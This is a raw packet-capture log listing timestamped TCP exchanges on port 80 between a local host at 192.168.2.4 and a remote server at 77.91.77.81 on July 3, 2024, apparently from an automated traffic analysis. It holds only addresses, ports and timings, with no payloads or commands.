Jul 3, 2024 23:59:14.623050928 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.623095989 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.623157978 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.623164892 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.623176098 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.623207092 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.623231888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.623238087 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.623285055 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.656358957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656563997 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656569004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656580925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656585932 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656630039 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656636000 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656644106 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656649113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656653881 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656658888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656774998 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.656860113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656866074 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656877041 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656882048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.656909943 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.656932116 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.656997919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657004118 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657008886 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657016993 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657021999 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657043934 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657069921 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657160044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657172918 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657179117 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657182932 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657186985 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657191992 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657202005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657208920 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657208920 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657239914 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657249928 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657398939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657491922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657497883 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657507896 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657512903 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657517910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657522917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657541037 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657566071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657726049 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657732010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657774925 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657802105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657809019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657819986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657825947 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657849073 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657874107 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.657946110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657952070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657963991 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657968998 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.657996893 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.658019066 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.658041954 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.658086061 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.658107996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.658114910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.658154964 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.658210993 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.658216953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.658226967 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.658232927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.658236980 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.658258915 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.658272982 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.658297062 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.659801006 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.659842968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.659847975 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.659859896 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.659895897 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.659897089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.659904957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.659910917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.659915924 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.659950018 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660057068 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660063982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660074949 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660079956 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660104990 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660116911 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660190105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660290003 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660295010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660296917 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660300970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660305977 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660325050 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660329103 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660353899 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660370111 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660375118 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660376072 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660413980 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660537004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660542965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660553932 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660559893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660584927 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660594940 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660685062 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660691023 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660727978 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660758018 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660763025 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660799980 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660800934 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660806894 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660819054 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660824060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660830975 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.660849094 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660864115 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.660883904 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.661021948 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.661029100 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.661040068 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.661046028 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.661051989 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.661072016 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.661098003 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.661259890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.662075043 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.694216013 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694227934 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694242001 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694299936 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.694334984 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.694338083 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694350004 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694360018 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694370031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694386005 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.694408894 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.694564104 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694575071 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694582939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694592953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694602966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694603920 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.694627047 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.694643974 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.694667101 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694677114 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.694710970 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.715251923 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715265989 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715276003 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715323925 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.715343952 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.715401888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715418100 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715426922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715435982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715445995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715454102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715459108 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.715464115 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715473890 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715482950 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715488911 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.715492010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715498924 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.715503931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.715523005 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.715536118 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.746606112 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746646881 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746655941 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746692896 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.746704102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746716976 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746722937 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.746746063 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.746754885 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.746788979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746798992 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746828079 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.746922970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746964931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746975899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.746999979 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747011900 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747082949 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747097015 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747107029 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747116089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747117996 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747131109 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747143984 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747225046 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747236013 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747260094 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747276068 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747401953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747411013 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747421026 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747430086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747436047 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747440100 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747446060 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747452974 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747462034 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747466087 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747472048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747482061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747489929 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747504950 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747519016 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747811079 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747821093 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747832060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747840881 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747849941 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747850895 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747858047 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747867107 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747876883 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747878075 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747889042 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747899055 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.747899055 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747922897 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.747944117 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748125076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748135090 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748143911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748152971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748162031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748164892 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748172045 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748182058 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748188019 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748200893 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748209000 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748384953 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748394966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748404026 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748413086 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748421907 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748425007 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748433113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748440027 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748444080 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.748459101 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748486996 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.748573065 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.749845028 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.749881029 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.749886036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.749897957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.749919891 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.749947071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750032902 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750042915 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750057936 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750072002 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750078917 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750097036 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750119925 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750144005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750154018 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750168085 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750179052 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750185966 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750195026 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750216007 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750304937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750314951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750324011 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750339985 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750359058 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750427008 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750437021 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750446081 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750466108 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750474930 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750540972 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750551939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750579119 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750652075 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750662088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750670910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750680923 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750689983 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750698090 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750699997 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750711918 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750724077 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750747919 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750883102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750894070 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.750921965 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.750931978 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.751010895 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.751019955 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.751028061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.751039028 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.751046896 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.751048088 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.751055956 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.751060009 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.751070023 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.751079082 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.751084089 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.751095057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.751118898 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784035921 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784090042 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784099102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784152031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784154892 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784163952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784174919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.784192085 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.784208059 CEST	49732	80	192.168.2.4	77.91.77.81
